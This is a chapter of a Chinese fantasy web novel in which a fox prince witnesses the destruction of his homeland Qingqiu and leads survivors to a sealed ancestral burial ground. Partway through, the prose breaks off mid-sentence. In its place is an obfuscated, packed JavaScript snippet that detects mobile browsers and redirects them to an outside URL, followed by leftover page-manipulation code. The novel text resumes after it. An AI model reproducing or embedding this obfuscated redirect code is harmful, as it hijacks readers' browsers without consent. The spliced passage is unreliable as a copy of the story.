24. 他的家没有了
作品:《狐狸精控诉我始乱终弃》 青丘成了一片焦土。
怜青从空中摔落,缓过神来的时候几乎不敢相信这个破败混乱的地方真的是青丘。
万里晴空不再,取而代之的是乌云压顶,山雨欲来。天穹的守护结界被打碎,黑气从那些破洞里钻进来,张牙舞爪在青丘的乐土上肆虐。
通天木倒了,建在通天木上的狐族宫殿从高处砸落,碎成了一地瓦砾。
那些曾经的欣欣向荣风光正好,如今遍地狼藉,四处都是废墟。
到处是逃难的小妖,有的太过于弱小,但凡被黑气击中,就立刻化作血雾,死亡只是一瞬间的事情,那些强一点的小妖,也不过是多撑一时半刻,徒增痛苦。
空中只有硝烟和令人作呕的血腥味。
他踉跄起身,不可置信,执拗地逆着逃散的人流向断裂的通天巨木走去。
人潮汹涌,四散奔逃,耳边除了嚎哭还是嚎哭,所有人自顾不暇。
“孩子,快逃吧,狐君都牺牲了,守山法阵都破了,快逃命吧。”混乱之中,有老者终究不忍心,拉住怜青的衣衫,把他往反方向拽。
……什么?
狐君……牺牲?
他怔怔地,脑子里一片混乱,这些词的意思他似乎无法理解。
逃?可他要逃去哪里呢,青丘就是他的家啊,眼前的通天巨木上有他们青丘狐族世世代代生存的家,脚下的土地是他儿时玩耍的地方。
他是怎么在这里的?上一刻他在哪里,他在干什么,他在……
轰——
怜青不知道发生了什么,但是身体已经先一步做出了反应,他冲上去挡住了黑雾,但可惜终究还是晚了一步。
温热黏腻的血溅在了脸上。
刚刚那个拉住他的老者,已然被黑雾开膛破肚,不过挣扎两下就彻底没了生息。
而他的身边那些正在逃命的小妖们见到这一幕,变得更加慌乱无措,黑雾像猫戏弄老鼠一样,追逐着崩溃的小妖们。
青丘的妖大多是狐族,一只一只妖被杀死,留下的尸体变成或老或少的狐狸,一只又一只,皮毛淌着血,血肉踏成泥。
有些面孔他是见过的。
那只红狐狸好像是阿姐的红毛狐狸家的,那边那只耳朵有黑色的叫做小七,是最调皮的,总是喜欢偷糖吃,还有蓝家的小意,去年才修出了三尾……
他们怎么都不动了呢?
脑子里一团乱麻,腿脚似有千斤重,动不了了。他该做些什么,他能做些什么,有什么术法可以抵御黑气吗……
“是、是小公子吗?”有一只手拉住了他的衣袖,那个声音颤抖着,小心翼翼地,不知究竟是喜是悲:“小公子啊,您怎么回来了啊……”
“……白叔?”
“是,是我,快逃小公子,您绝对不能再出事了。”
怜青愣愣地看着四周。
妖群有一瞬间的躁动,老老少少的狐妖和其他小妖们仿佛找到了主心骨一般,逐渐往这边汇聚。
“是小公子!是小公子回来了!”
“我们是不是有救了!”
怜青看着这些希冀的面孔,终于勉强回过神来。
这里是青丘,青丘遭难了,这些是青丘的子民。
他不能害怕,不能逃避,浑身的血液一瞬间冲上心脏,他止不住浑身发抖。他是青丘的公子,他们只剩下他了,可青丘已经不再是一块福地,他又能带着他的族人去哪里。
淡青色的木灵气自掌心涌出,他勉力撑出一个保护结界,绞尽脑汁想着。
前路茫茫不知这场劫难何时能有尽头,回望过去却是一个个已经落入尘泥的狐族同胞,纵使绝望,他也必须撑住。
天空聚集着不详的黑云,雷电蛰伏其中,蓄势待发。
“有苏怜青,你竟然自投罗网呵。”
云层汇成一个人影,黑气明灭,那人眨眼间便来到了他的结界之前。
不过单手一撕,怜青的结界就破开一个口子。怜青胸口闷痛,来不及擦嘴角的鲜血,只迅速再次聚集灵力补上结界,给身后的小妖们逃离的机会。
那人不疾不徐,戏弄他们一般左攻一下,右炸一下。
怜青的灵气便是再强也无法堵上那么多的窟窿,他护着的这些大多也都只是些老弱,几乎无法帮上任何忙。
“白叔,青丘真的没有人了吗?其他妖族呢,没有任何支援吗?!”剩下的这些妖中,有灵力的妖都来相助了,可他们顶着阵法依旧节节败退。
“公子,所有有能力与之一战的妖在上一轮袭击的时候就已经几乎全数阵亡了,求援书早已向各族发出,只是不知为何至今没有消息。”
“求援?哈哈哈哈哈哈——”那人听到二人谈话,像是听到了什么好笑至极的事情:“你们不会还在天真地等吧?”
“要不然你们猜猜,黑气在青丘外是为了什么?你们的青丘现在可是一座浮空之岛,就算你们能撑到求援信真的发出去,这么一个岛,你猜猜你们求援的那群走兽多久才能游过来哈哈哈哈——”
那人从黑雾中走出,漏出一张怜青熟悉无比的面容:“怜青啊怜青,还认得我吗?”
……净尘仙尊?
为什么,为什么?
这不对,不对……怜青心道不对,可心里还是难免涌上一阵绝望。
见怜青表情几番变化,未曾全然相信,那人轻蔑一笑,抬手直接破了结界。
他不过是埋一颗怀疑的种子,其余也无须多言。
怜青被破阵的力量狠狠冲击,重摔在地咳出一口鲜血。
他眼冒金星,连呼吸一口气都能扯的心肺生疼,可现在不是软弱的时候。又有一批妖倒下,可身后被护着的小狐狸们还在哭着,他们是狐族最后的幸存者了。
怜青一把抓住白叔上前想要扶他的手:“我、我记起来了,归冢,带他们去归冢。”
“公子,你呢?”
“先别管我,快去,快带他们走!!”怜青用力推开白叔,从玉牌中化出剑撑住自己站起来。玉牌里有什么法器全部被他倒出来,一边胡乱抹着脸一边往身上挂,他也很害怕,他从来没有见过那么多死人见过这么惨烈的场景,可他不能倒下。
身后是他的族人,他是狐族的公子,哪怕只剩下一个一个族人,守护也是他的职责,他不能退缩。
怜青深吸一大口气,按下自己颤抖的手,摆出一个应战的姿势。
“哈哈哈哈哈哈还哭鼻子呢,怜青你还不知道吧,你的……噗——”那人正嘲笑他,却不知道是不是因为些什么,猛然呕出一大口血。
眼看他身型摇晃,施法的手势一顿,怜青大声吼道:“就是现在,白叔快走啊!”
“休想!”黑雾抬手起势正要拦截,却不料怜青蓄力一击直冲向那人面门,这毫无技巧纯纯莽攻竟真的硬生生让他攻势偏转,打在了空地上,给了白叔他们逃跑的机会。
怜青抹掉唇边的血,暗自估量着自己的灵力,这样的攻击他至多还能挡下两势,若是……他只能以命相博了。
从前他最怕死,可是真的到了这一刻,他似乎又觉得没什么了。
他甚至还苦中作乐,安慰自己一番。
为了族人而死,他有苏怜青也不算一辈子懒懒散散的废物,或许几千年后著书列传,这些他护下的小狐狸会
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17049346|193177||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
记得他,把他写成大英雄。
眼前的人又聚起了黑雾,怜青也咽回眼泪,暗暗蓄起了灵力。
“邪……噗——”咒都没有念出口,那人在半空中的身型猛然一顿,心口处竟凭空炸出一朵血花,而后重重半跪在地上。
他的瞳孔黑了一瞬,马上回过神来破口大骂:“该死的小屁孩,竟然这么快就把傀儡灭了。”
“呵呵有苏怜青,你还不知道吧……”那人恶意地笑了,捂着受伤的心口不怀好意地看着怜青:“你的相好口口……?她其实是口口,口口?”
黑雾中的人本来脸色就不好看,这下直接黑如锅底:“该死的口口,竟然给我下口口咒,你口口的!”
怜青不知道那黑雾里的人怎么突然开始说怪话,还怪模怪样地手舞足蹈起来,但是他略一思索,估量了一下,便意欲趁机逃跑。
“大哥哥……”一个细弱的声音响起。
草丛里竟然有一只受伤的小狐狸,怜青逃跑的脚步一顿,折回来迅速将那只小狐狸捞进怀里。
他得趁那人还没打过来赶紧跑回去,归冢是有苏狐王族的葬身之地,白叔带着幸存的妖众们先一步逃去,可归冢封闭却需要有苏狐的血脉却去加固。
怜青跑得踉踉跄跄,从前他最在意自己的形象,此刻满脸鲜血和泥,连滚带爬。
砰——
一击打在他的背上,怜青手中的小狐狸因为冲击摔了出去,他来不及顾自己身上的伤,也没有回头看,只是飞扑上去再次把那只小狐狸抱进怀里,狼狈却不屈服地往前跑。
不知道跑了多久,身边的攻击从未停过,溅起的石子炸伤了他的手臂,一身纤尘不染的白衣变得破破烂烂,双脚的痛也变成了麻木。
眼前出现了青绿色灵力结成的山门,他快到了!
同时,他感受到脑后巨大的力量波动。
就差一点,一点!
轰——
黑雾袭击的瞬间怜青压低身体一摔滑进了结界的缝隙,他毫不犹豫举剑一划,旋身将鲜血淋漓的手掌贴上结界。
灵光大作,归冢封印的巨大力量瞬间迸发,化作一片片猛长的枝叶。
黑气与灵力相触的瞬间,结界封闭。
黑雾依旧强攻,归冢的结界发出一道又一道嗡嗡的巨响。
怜青顺着结界脱力地滑下来,方才不曾感受到的疼痛一瞬间席卷全身,但此刻怜青顾不得这些,他喘着气打开自己的衣襟。
“我们没事了,小狐狸我们没事了。”
归冢的结界有历代先祖的灵力,至少可以撑一个半日,这半日,他可以想办法,可以等救援,可以……
“……小狐狸?”
没有人回答他。
怜青抖着手去探小狐狸的呼吸,什么也没有。
他不可置信,怀里那个小小身体明明还温热,明明还是软软的,为什么,为什么……
这只小狐狸身体圆圆的毛绒绒的,养得雪白健康,一看就知道她的家人很爱她。
可是他没有护住她。
也没有护住她的家人。
怜青抬头看去,归冢密密麻麻的墓碑前,或躺或坐着一只又一只的狐狸,他们都在看着他。即使他们都伤得很重,可那一双双眼睛都是亮晶晶的,全部都在渴望地看着他,看着他就像看着他们最后的希望。
怜青艰难地扯了扯嘴角,想给出一点宽慰,可他怎么也笑不出来。
他呆滞地往墓碑深处走去。
角落里,在一座石碑边上有一个小小的木牌,怜青看到了他最不愿意看见的名字。
心里那个最坏的预感,还是成真了。

